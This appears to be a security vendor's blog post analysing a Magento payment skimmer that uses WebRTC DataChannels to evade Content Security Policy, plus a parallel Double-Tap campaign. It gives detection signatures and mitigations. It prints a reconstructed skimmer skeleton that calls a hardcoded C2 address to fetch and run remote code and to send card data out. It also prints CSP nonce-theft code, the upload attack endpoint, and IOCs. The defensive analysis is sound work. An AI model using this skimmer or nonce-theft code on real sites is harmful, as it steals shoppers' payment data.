Skip to main content
rfxn
//
maldetmalwaremagentoecommerceskimmer

WebRTC Skimmers: How Payment Thieves Bypass Content Security Policy

Ryan MacDonald11 min read

On March 24, 2026, Sansec published research documenting the first payment skimmer to use WebRTC DataChannels for data exfiltration. This is a significant development: the WebRTC API is entirely outside the scope of connect-src in Content Security Policy, making this class of skimmer invisible to one of the primary defenses deployed against payment data theft.

The campaign is connected to the ongoing Magento PolyShell exploitation wave (APSB25-94 / CVE-2025-20720). The same unauthenticated file upload vulnerability used to plant GIF89a polyglot webshells is the delivery mechanism for the WebRTC skimmer. We cover both, along with a second parallel campaign called Double-Tap that targets multiple e-commerce platforms simultaneously.

This post covers the technical mechanics of the WebRTC exfiltration channel, why CSP does not stop it, the five new Linux Malware Detect signatures we published in response, and practical detection and mitigation steps.

EXFIL CHANNELCSP DIRECTIVEBLOCKED?RESULTfetch() / XMLHttpRequestHTTPSconnect-srcBLOCKEDData never leavesWebSocketWSSconnect-srcBLOCKEDData never leavesImage beaconHTTPSimg-srcBLOCKEDData never leavesEventSourceHTTPSconnect-srcBLOCKEDData never leavesRTCPeerConnectionDataChannel / DTLS / UDPnot specifiedBYPASSEDCard data exfiltratedencrypted, invisible

The CSP Blind Spot#

Content Security Policy's connect-src directive controls which network destinations JavaScript can communicate with. Its scope covers fetch(), XMLHttpRequest, WebSocket, EventSource, and image beacon requests to non-same-origin URLs. It does not cover RTCPeerConnection.

WebRTC was designed for peer-to-peer media and data transfer, and its network transport — DTLS-encrypted UDP — has never been brought under CSP's policy model. The W3C CSP specification does not address RTCPeerConnection at all. This is a gap in the spec, not a misconfiguration. Even a maximally restrictive connect-src 'none' policy does not block a WebRTC DataChannel.

TransportCSP DirectiveBlocked by connect-src
fetch() / XHRconnect-srcYes
WebSocketconnect-srcYes
Image beaconimg-srcYes
EventSourceconnect-srcYes
RTCPeerConnection / DataChannelnot specifiedNo

Beyond CSP, the WebRTC transport is encrypted at the DTLS layer. Passive network monitoring tools that inspect HTTP traffic see nothing. The data channel is opaque to any tool that does not decrypt DTLS. On e-commerce infrastructure, outbound UDP on non-standard ports from the browser is a signal worth monitoring at the firewall level, but few deployments do this.

First documented case

This is the first payment skimmer observed using WebRTC DataChannels for exfiltration. Prior campaigns have used fetch, XHR, image beacons, and WebSockets. The shift to WebRTC represents a deliberate evasion of CSP-based defenses that have become standard on high-value checkout pages.

Initial Access#

The WebRTC skimmer is delivered through the same vulnerability chain as the GIF89a polyshell webshells covered in our previous article: APSB25-94 (CVE-2025-20720), an unauthenticated file upload vulnerability in Magento's guest cart REST API. The same missing validations that allow polyglot webshells also allow arbitrary JavaScript to be planted in served media paths.

The attack endpoint is:

http
POST /rest/default/V1/guest-carts/{cart_id}/items

Files land under Magento's media tree using a 2-level character-dispersion path derived from the uploaded filename:

text
pub/media/custom_options/quote/<FIRST_CHAR>/<SECOND_CHAR>/<FILENAME>

In the skimmer campaign, the attacker first uploads a GIF89a polyglot PHP shell to gain execution, then uses that shell to write or modify JavaScript resources served to checkout page visitors. The skimmer code runs in the visitor's browser, not on the server.

Exploitation scale

56.7% of vulnerable Magento stores have been targeted since March 19, 2026, according to Sansec telemetry. No production patch is available. The fix appears in 2.4.9-beta1 only. Server-level controls remain the primary mitigation.

WebRTC Mechanics#

The skimmer establishes a WebRTC DataChannel to the C2 server using a pre-shared credential set embedded in the malicious JavaScript. This bypasses the normal WebRTC signaling flow entirely — there is no STUN server lookup, no ICE candidate exchange with a signaling service. The attacker has hardcoded the SDP answer, turning the connection setup into a one-sided configuration exercise.

Connection Setup

The skimmer follows this sequence in the victim's browser:

  1. Create RTCPeerConnection with no STUN or TURN servers configured. The connection will use the hardcoded C2 address directly
  2. Open a DataChannel labeled with the current page URL. This gives the operator a side-channel signal identifying which checkout page the victim is on at the moment of exfiltration
  3. Construct a fake SDP answer containing the C2 IP, port, and pre-shared ICE credentials. Set this as the remote description without any actual signaling exchange
  4. Wait for channel open and register an onmessage handler that collects inbound JavaScript chunks
  5. On channel close, assemble the received chunks into a complete payload and execute it — using requestIdleCallback to defer execution until the browser is idle

SDP Structure

The hardcoded SDP answer describes an application data channel on UDP port 3479. This is the only port the C2 uses — it serves as both the control and exfiltration channel:

text
v=0
o=- 0 0 IN IP4 202.181.177.177
s=-
t=0 0
a=group:BUNDLE 0
m=application 3479 UDP/DTLS/SCTP webrtc-datachannel
c=IN IP4 202.181.177.177
a=ice-ufrag:attacker
a=ice-pwd:05l0TstonL9bYAdB04I6x2
a=fingerprint:sha-256 9E:BB:2A:E2:C5:B8:DC:0A:8B:A7:85:E1:9F:C4:F8:A8:09:2A:F4:1E:70:30:1B:AF:9F:26:97:BE:E2:6E:E3:1D
a=setup:active
a=mid:0
a=sctp-port:5000
a=max-message-size:262144

Payload Delivery and Exfiltration

Once the DataChannel is open, it operates bidirectionally over DTLS-encrypted UDP. The C2 pushes JavaScript payload chunks to the browser through the channel. The skimmer's onmessage handler accumulates them, and on channel close the assembled code executes. This approach has two properties that make it harder to detect than conventional skimmer injection:

No static payload in the planted file — the skimmer script on disk contains no payment-harvesting code. The actual skimmer payload lives on the C2 and is delivered dynamically at runtime. Static file scanning finds only the WebRTC setup code
Stolen data returns over the same channel — payment card details captured from checkout form fields are sent back to the C2 through the same DTLS-encrypted DataChannel. No outbound HTTP request is made. No fetch, XHR, image beacon, or WebSocket is involved

The use of requestIdleCallback for deferred execution is an additional evasion: automated scanners that analyze page behavior immediately after load may not wait long enough to observe the payload executing.

A representative skeleton of the skimmer's connection and collection logic, reconstructed from the observed behavior:

javascript
// RTCPeerConnection with no ICE servers — uses hardcoded SDP
const pc = new RTCPeerConnection({ iceServers: [] });

// DataChannel label carries current page URL for operator context
const dc = pc.createDataChannel(window.location.href);

const chunks = [];
dc.onmessage = (e) => chunks.push(e.data);
dc.onclose = () => {
  // Assemble and execute payload when channel closes
  const payload = chunks.join("");
  requestIdleCallback(() => {
    Function(payload)();  // or nonce-theft path — see next section
  });
};

// Fake SDP answer with hardcoded C2 credentials — no signaling server
const fakeSdp = {
  type: "answer",
  sdp: "v=0\r\no=- 0 0 IN IP4 202.181.177.177\r\n" +
       "m=application 3479 UDP/DTLS/SCTP webrtc-datachannel\r\n" +
       "a=ice-pwd:05l0TstonL9bYAdB04I6x2\r\n..."
};

pc.setLocalDescription(await pc.createOffer());
await pc.setRemoteDescription(fakeSdp);

// Exfiltrate collected payment data back through the same channel
function exfiltrate(data) {
  if (dc.readyState === "open") {
    dc.send(JSON.stringify(data));
  }
}

CSP Nonce Theft#

For the assembled payload to execute under a strict CSP that includes script-src 'nonce-...', the skimmer uses a 3-tier execution strategy. Each tier is a fallback for the previous:

Tier 1: Nonce Harvesting

The skimmer scans all existing <script> tags in the DOM for a nonce attribute. When found, it creates a new script element with the same nonce value, sets the payload as the textContent, and appends it to document.head. The browser's CSP engine sees a valid nonce and allows execution.

javascript
// Tier 1: harvest existing nonce from any script on the page
function getNonce() {
  const scripts = document.querySelectorAll("script[nonce]");
  for (const s of scripts) {
    if (s.nonce) return s.nonce;
  }
  return null;
}

const nonce = getNonce();
if (nonce) {
  const el = document.createElement("script");
  el.nonce = nonce;
  el.textContent = payload;
  document.head.appendChild(el);
}

This technique works because nonces are per-page-load values generated server-side. Once an attacker has code running in the page (via any injection path), the nonce is already present in the DOM and readable by JavaScript. The nonce model assumes the page has not been compromised at injection time; once it has, the nonce provides no further protection.

Tier 2: unsafe-eval

If no nonce is found, the skimmer attempts execution via Function(code)(), which is equivalent to eval() and is blocked only if the CSP includes script-src without 'unsafe-eval'. Many real-world CSP policies do permit unsafe-eval due to dependencies on third-party analytics or legacy JavaScript.

Tier 3: Direct Script Append

As a final fallback, the skimmer creates a script element and appends it to document.head without a nonce. This succeeds only on pages without a meaningful script-src directive, but many Magento deployments have no CSP at all on checkout pages.

Nonce model limitation

A script-src nonce policy stops external script injection from unknown origins. It does not stop an attacker who has already achieved code execution on the page. Once the skimmer's initial loader runs — however that happens — it can read the nonce directly from the DOM and reuse it. The defense-in-depth conclusion: preventing the initial injection (via server-side controls and maldet scanning) is the only reliable countermeasure.

Double-Tap Skimmer#

Running in parallel with the WebRTC campaign is a separate skimmer operation documented by Sansec in February 2026, targeting a global supermarket chain. Unlike the WebRTC skimmer, which targets Magento specifically, Double-Tap is a multi-platform framework: the same campaign infrastructure has been observed against WordPress WooCommerce, Magento, PrestaShop, and OpenCart simultaneously.

AI-Generated Payment Overlays

Double-Tap's distinguishing characteristic is its use of AI-generated localized fake payment overlays. Rather than injecting a keylogger into the real checkout form, it overlays a visually convincing duplicate of the payment fields. The overlay is generated with platform-aware styling and localized for the target store's language and currency, making it significantly harder for victims to recognize the substitution.

Captured card data is stored in localStorage under the key prefix mn_cardNum before exfiltration, allowing the campaign to batch submissions and retry on failure without losing captured records.

PropertyWebRTC SkimmerDouble-Tap
Target platformsMagentoWP, Magento, PrestaShop, OpenCart
Exfil channelWebRTC DataChannel (UDP)HTTP POST to C2
CSP bypassconnect-src does not cover WebRTCNonce theft / unsafe-eval
Injection methodKeylogger via DataChannel payloadAI-generated overlay
Local storageNone observedmn_cardNum prefix
C2 domain202.181.177.177:3479/UDPstylemercedes[.]top

maldet Signatures#

We have published five new signatures in Linux Malware Detect (maldet) covering both campaigns. Four campaign-specific hex signatures match known hardcoded artifacts from the WebRTC skimmer and Double-Tap C2 infrastructure. One generic compound signature catches future WebRTC skimmer variants by behavioral pattern, independent of specific C2 addresses.

Campaign-Specific Signatures (hex.dat)

Signature NameMatch TargetCampaign
js.inject.webrtcskim.c2ipC2 IP: 202.181.177.177WebRTC skimmer
js.inject.webrtcskim.icepassICE password: 05l0TstonL9bYAdB04I6x2WebRTC skimmer
js.inject.webrtcskim.sdpSDP pattern: m=application 3479 UDP/DTLS/SCTPWebRTC skimmer
js.inject.doubletap.c2C2 domain: stylemercedesDouble-Tap

Generic Behavioral Signature (csig.dat)

The compound signature js.inject.webrtcskim.generic catches future WebRTC skimmer variants by requiring all of the following to be present in the same file, with at least one payment-related term:

text
# csig.dat entry (simplified for readability)
# Match: RTCPeerConnection AND createDataChannel AND one of:
#   cardNumber | card_number | cvv | expir | billing
RTCPeerConnection&&createDataChannel&&(cardNumber||card_number||cvv||expir||billing||1)

This signature is designed to survive C2 infrastructure rotation. The hardcoded IP, ICE password, and SDP signatures will miss future campaigns that change their C2. The behavioral signature matches the structural pattern common to all WebRTC skimmers: a DataChannel paired with payment field references.

Deploying the Signatures

bash
# Update to receive the five new signatures
maldet --update-sigs

# Scan Magento media and JavaScript directories
maldet --scan-all /var/www/magento/pub/media/
maldet --scan-all /var/www/magento/pub/static/

# Check for polyshell uploads in the initial access path
find /var/www/magento/pub/media/custom_options/ -type f -iname '*.php' -ls

Detection & Mitigation#

There is no single control that stops this campaign. The WebRTC transport is invisible to HTTP-level tools, CSP does not cover it, and the nonce theft path means CSP nonces are insufficient once any injection has occurred. Defense requires layering: block the initial access path, scan files for known skimmer artifacts, and monitor network behavior at a layer that can observe UDP traffic.

Block the Initial Access Path

The WebRTC skimmer requires the PolyShell vulnerability for delivery. Blocking the upload vector and disabling PHP execution in media directories prevents the skimmer from being planted. See our Magento PolyShell mitigation article for the full ModSecurity ruleset and Apache hardening steps. At minimum, disable PHP in the media tree:

apache
<Directory "/var/www/magento/pub/media">
    php_flag engine off
    <FilesMatch "\.(?i:php[345s7]?|phtml|phar)$">
        Require all denied
    </FilesMatch>
</Directory>

Network-Level WebRTC Blocking

Web application servers have no legitimate reason to initiate WebRTC connections. Browser-originated WebRTC to non-standard UDP ports from checkout pages is a strong anomaly signal. At the firewall or network monitoring layer:

Block outbound UDP to port 3479 from your web server network segment (the known C2 port for this campaign)
Block all outbound UDP from web server IPs to non-DNS, non-NTP destinations if your infrastructure allows it
Add 202.181.177.177 to your network blocklist; this IP is exclusively C2 infrastructure with no legitimate use

CSP Hardening (Partial Defense)

CSP does not stop WebRTC exfiltration. It does, however, stop the Tier 2 and Tier 3 payload execution paths, reducing the skimmer to relying solely on nonce theft. Removing unsafe-eval from your script-src policy eliminates Tier 2. A nonce-only policy without any script hash allowlist eliminates Tier 3. Neither stops Tier 1 once injection has already occurred.

CSP is insufficient as a sole defense

The WebRTC DataChannel is not covered by connect-src. Even a maximally restrictive CSP policy does not stop the exfiltration channel. Preventing the initial injection — through server-side controls and file scanning — is the only reliable defense. Treat CSP hardening as a useful additional layer, not a primary mitigation for this campaign.

Scan and Sweep

bash
# Update maldet signatures and scan
maldet --update-sigs
maldet --scan-all /var/www/magento/

# Find PHP files in media upload directories (any .php = compromise indicator)
find /var/www/magento/pub/media/custom_options/ -type f -iname '*.php' -ls

# Search JavaScript files for WebRTC skimmer patterns
grep -rl "RTCPeerConnection" /var/www/magento/pub/static/
grep -rl "createDataChannel" /var/www/magento/pub/static/
grep -rl "202\.181\.177\.177" /var/www/magento/

# Check for Double-Tap C2 references
grep -rl "stylemercedes" /var/www/magento/
grep -rl "mn_cardNum" /var/www/magento/

Indicators of Compromise#

WebRTC Skimmer — C2 Infrastructure

text
# C2 IP address
202.181.177.177

# C2 port (UDP, DTLS encrypted)
3479/UDP

# ICE credentials (embedded in skimmer JS)
ICE password (client): 05l0TstonL9bYAdB04I6x2
ICE password (server): JxCvVg2YnHDqAcpPS8mkqC

# DTLS certificate fingerprint
9E:BB:2A:E2:C5:B8:DC:0A:8B:A7:85:E1:9F:C4:F8:A8:09:2A:F4:1E:70:30:1B:AF:9F:26:97:BE:E2:6E:E3:1D

WebRTC Skimmer — File Patterns

text
# SDP pattern in planted JavaScript
m=application 3479 UDP/DTLS/SCTP webrtc-datachannel

# Upload path for initial polyshell access (APSB25-94 delivery)
pub/media/custom_options/quote/<C1>/<C2>/<FILENAME>

# JavaScript search patterns (grep for these in web root)
RTCPeerConnection
createDataChannel
05l0TstonL9bYAdB04I6x2
202.181.177.177

Double-Tap Campaign

text
# C2 domain
stylemercedes[.]top

# localStorage key prefix (check browser storage on checkout pages)
mn_cardNum

# Platforms targeted
WordPress (WooCommerce), Magento, PrestaShop, OpenCart

Sources

Conclusion#

The WebRTC skimmer campaign represents a meaningful shift in attacker technique. For years, the e-commerce security community has deployed Content Security Policy as a primary mitigation against client-side skimming. The move to WebRTC DataChannels for exfiltration directly exploits a documented gap in the CSP specification: the connect-src directive has never covered RTCPeerConnection. This is the first documented payment skimmer to exploit that gap.

The 3-tier CSP nonce theft mechanism further illustrates that nonce-based policies are not effective once an attacker has achieved any form of JavaScript injection on a page. The nonce is readable from the DOM at runtime. A nonce policy is a strong defense against external script injection from unknown domains; it is not a defense against skimmer code that is already executing.

The conclusion is familiar but reinforced: preventing the initial injection is the only reliable control. For Magento operators, that means patching APSB25-94 when a stable release ships, blocking PHP execution in media directories unconditionally, and scanning the web root with up-to-date maldet signatures. The five signatures published with this article cover both campaigns and include a generic behavioral signature for future WebRTC skimmer variants.

Immediate Actions

Run maldet --update-sigs && maldet --scan-all /var/www/magento/ to scan with the five new signatures
Search pub/media/custom_options/ for .php files — any PHP file there is a compromise indicator
Block outbound UDP to 202.181.177.177:3479 at the network layer
Disable PHP execution in pub/media/: php_flag engine off or FilesMatch deny

Harden

Deploy ModSecurity rules 9517100-9517130 to block the PolyShell upload vector (see PolyShell mitigation article)
Remove unsafe-eval from script-src to eliminate Tier 2 payload execution path
Block outbound UDP from web server segments to non-standard ports at the firewall
Monitor pub/static/ and media/ for unexpected JavaScript modification timestamps

Detect

Grep web root for RTCPeerConnection and createDataChannel — legitimate Magento has neither
Search for 202.181.177.177, 05l0TstonL9bYAdB04I6x2, and stylemercedes across all served JavaScript
Review server access logs for POST/PUT to /rest/*/V1/guest-carts/*/items with large payloads
Check browser network logs on checkout pages for outbound UDP traffic to non-standard ports

The maldet signatures referenced in this post are open source under the GPL v2 license. If you have additional IOCs, variant samples, or network observations related to the WebRTC skimmer campaign, reach out via Keybase or email.